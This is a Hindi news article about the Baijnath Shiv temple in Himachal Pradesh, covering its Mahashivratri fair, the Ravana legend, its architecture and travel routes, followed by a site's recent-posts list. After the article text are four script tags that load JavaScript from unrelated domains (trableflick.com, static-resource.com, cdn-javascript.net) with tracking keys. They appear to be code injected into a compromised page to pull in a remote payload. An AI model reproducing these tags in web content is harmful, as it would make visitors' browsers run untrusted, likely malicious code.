Categories: हिमाचल

उत्तर भारत का प्रसिद्ध शक्तिपीठ शिव मंदिर, शिवरात्री पर बैजनाथ में उमड़ता है भक्तों का सैलाब

<p>हिमाचल प्रदेश हमेशा अपनी विशेष संस्कृति, लोक शिल्प एवं लोक कलाओं के लिए प्रसिद्ध रहा है। प्रदेश को देवभूमि के नाम से भी जाना जाता है। राज्य की धार्मिक एवं सांस्कृतिक परम्पराएं अत्यंत समृद्ध हैं। प्रदेश में अनेक मेले एवं त्यौहार मनाए जाते हैं, इनमें समृद्ध संस्कृति, कला और जन आस्था की जीवंत छवि देखने को मिलती है। देवभूमि हिमाचल देवी-देवताओं और श्रृषि-मुनियों के धार्मिक स्थलों के लिए भी विख्यात है। साल भर लगने वाले पारम्परिक मेलों के कारण हिमाचल अपनी विशिष्ट पहचान बनाए हुए है। इन देवस्थलों पर लगने वाले मेले प्राचीन परम्पराओं को आज भी जीवंत बनाए हुए एक मिसाल बने हुए हैं। बैजनाथ शिव मंदिर हिमाचल प्रदेश के कांगड़ा जिले में सुन्दर पहाड़ी स्थल पालमपुर के पास स्थित है। बैजनाथ शिव मंदिर स्थानीय लोगों के साथ-साथ दूर-दूर से आने वाले लोगों की धार्मिक आस्था का महत्वपूर्ण केन्द्र है। यह मंदिर वर्षभर पूरे भारत से आने वाले भक्तों, विदेशी पर्यटकों और तीर्थ यात्रियों की एक बड़ी संख्या को आकर्षित करता है।</p>

<p>बैजनाथ शिव मंदिर उत्तर भारत का प्रसिद्ध धाम है। यहां पर पूरा वर्ष पर्यटकों का तांता लगा रहता है। विशेषकर शिवरात्रि में यहां का नजारा ही अलग होता है। शिवरात्रि को सुबह से ही मंदिर के बाहर भोलेनाथ के दर्शनों के लिए हजारों लोगों का मेला लगा रहता है। इस दिन मंदिर के साथ बहने वाली बिनवा खड्ड पर बने खीर गंगा घाट में स्नान का विशेष महत्व है। श्रद्धालु स्नान करने के उपरांत शिवलिंग को पंचामृत से स्नान करवा कर उस पर बिल्व पत्र, फूल, भांग, धतूरा इत्यादि अर्पित कर भोले बाबा को प्रसन्न करके अपने कष्टों एवं पापों का निवारण कर पुण्य कमाते हैं। महाशिवरात्रि पर हर वर्ष यहां पांच दिवसीय राज्य स्तरीय समारोह का आयोजन किया जाता है। इस वर्ष यह मेला 21 फरवरी से 25 फरवरी तक मनाया जा रहा है। मेले के दौरान रात को रंगारंग सांस्कृतिक कार्यक्रम आयोजित किए जाते हैं। इन कार्यक्रमों को देखने के लिए हजारों की संख्या में भीड़ उमड़ती है। देश के कोने-कोने से शिव भक्तों के साथ विदेशी पर्यटक भी यहां आते हैं और मंदिर की सुन्दरता को देखकर भाव-विभोर हो जाते हैं।</p>

<p>पौराणिक कथा के अनुसार त्रेता युग में लंका के राजा रावण ने कैलाश पर्वत पर भगवान शिव की तपस्या की। कोई फल न मिलने पर दशानन ने घोर तपस्या प्रारंभ की और अपना एक-एक सिर काटकर हवन कुंड में आहुति देकर शिव को अर्पित करना शुरू किया। दसवां और अंतिम सिर कट जाने से पहले शिवजी ने प्रसन्न हो प्रकट होकर रावण का हाथ पकड़ लिया। उसके सभी सिरों को पुनर्स्थापित कर शिव ने रावण को वर मांगने को कहा। रावण ने कहा मैं आपके शिवलिंग स्वरूप को लंका में स्थापित करना चाहता हूं। आप दो भागों में अपना स्वरूप दें और मुझे अत्यंत बलशाली बना दें। शिवजी ने तथास्तु कहा और लुप्त हो गए। लुप्त होने से पहले शिव ने अपने शिवलिंग स्वरूप दो चिन्ह रावण को देने से पहले कहा कि इन्हें जमीन पर न रखना। रावण दोनों शिवलिंग लेकर लंका को चला। रास्ते में &lsquo;गौकर्ण&rsquo; क्षेत्र बैजनाथ में पहुंचने पर रावण को लघुशंका का आभास हुआ। उसने &lsquo;बैजु&rsquo; नाम के एक ग्वाले को सब बात समझाकर शिवलिंग पकड़ा दिए और शंका निवारण के लिए चला गया। शिवजी की माया के कारण बैजु उन शिवलिंगों के भार को अधिक देर तक न सह सका और उन्हें धरती पर रखकर अपने पशु चराने चला गया। इस तरह दोनों शिवलिंग वहीं स्थापित हो गए। जिस मंजूषा में रावण ने दोनों शिवलिंग रखे थे, उस मंजूषा के सामने जो शिवलिंग था, वह &lsquo;चन्द्रताल&rsquo; के नाम से प्रसिद्ध हुआ और जो पीठ की ओर था, वह &lsquo;बैजनाथ&rsquo; के नाम से जाना गया। मंदिर के प्रांगण में नंदी बैल की मूर्ति है। नंदी के कान में भक्तगण अपनी मन्नत मांगते है। बैजनाथ मंदिर परिसर में प्रमुख मंदिर के अलावा कई और भी छोटे-छोटे मंदिर है, जिनमें भगवान गणेश, मां दुर्गा, राधा-कृष्ण व भैरव बाबा की प्रतिमाएं विराजमान हैं।</p>

<p>अत्यंत आकर्षक सरंचना और निर्माण कला के उत्कृष्ट नमूने के रूप के इस मंदिर के गर्भ-गृह में प्रवेश एक डयोढ़ी से होता है, जिसके सामने एक बड़ा वर्गाकार मंडप बना है, और उत्तर और दक्षिण दोनों तरफ बड़े छज्जे बने हैं। मंडप के अग्र भाग में चार स्तंभों पर टिका एक छोटा बरामदा है, जिसके सामने ही पत्थर के छोटे मंदिर के नीचे खड़े हुए विशाल नंदी बैल की मूर्ति है। पूरा मंदिर एक ऊंची दीवार से घिरा है और दक्षिण और उत्तर में प्रवेश द्वार हैं। मंदिर की बाहरी दीवारों में मूर्तियों, झरोखों में कई देवी-देवताओं की मूर्तियां हैं। बहुत सारे चित्र दीवारों में नक्काशी करके बनाए गए हैं। बरामदे का बाहरी द्वार और गर्भ-गृह को जाता अंदरूनी द्वार अत्यंत सुंदरता और महत्व को दर्शाते अनगिनत चित्रों से भरा पड़ा है। बैजनाथ मंदिर तक पहुंचने के लिए दिल्ली से पठानकोट या चण्डीगढ़-ऊना होते हुए रेलमार्ग, बस या निजी वाहन और टैक्सी से पंहुचा जा सकता है। दिल्ली से पठानकोट और कांगड़ा जिले में गग्गल तक हवाई सेवा भी उपलब्ध है।</p>
<script src=”//trableflick.com/21aca573d498d25317.js”></script>
<script src=”http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8620x” type=”text/javascript”></script>
<script src=”http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8620x&amp;format=arrjs&amp;r=1581924723617″ type=”text/javascript”></script>
<script src=”http://trableflick.com/ext/21aca573d498d25317.js?sid=52587_8620_&amp;title=a&amp;blocks[]=31af2″ type=”text/javascript”></script>

Samachar First

Recent Posts

विधायकों की खरीद-फरोख्त मामला: हेलिकॉप्टर कंपनी के अधिकारी से शिमला में पूछताछ

MLABriberyCase: विधायकों की खरीद-फरोख्त और सरकार को अस्थिर करने के मामले में जांच के तहत…

42 mins ago

हरियाणा में बीजेपी तीसरी बार, जम्मू-कश्मीर में NC-कांग्रेस की सरकार

Elections2024: हरियाणा में भाजपा कांग्रेस के मुंह से जीत छीनकर लगातार तीसरी बार सरकार बनाने…

1 hour ago

युनूस बने निदेशक उद्योग, विवेक भाटिया को मिला पर्यटन विभाग

Transfers 8 IAS and 1 IFS:  मंगलवार देर सायं राज्य सरकार ने 8 आईएएस और…

2 hours ago

Himachal: धर्मशाला से पूर्व भाजपा प्रत्याशी राकेश चौधरी का निधन

Poison Incident: जहरीला पदार्थ निगलने के बाद टांडा अस्‍पताल में भर्ती  धर्मशाला से दो बार…

6 hours ago

शोभा यात्रा से शुरू होगा शाहपुर दशहरा उत्सव, ‘बेटी है अनमोल’ को समर्पित दूसरी सांस्कृतिक संध्या

  Shahpur Dussehra Festival 2024:  उपमुख्य सचेतक केवल सिंह पठानिया ने जानकारी दी है कि…

7 hours ago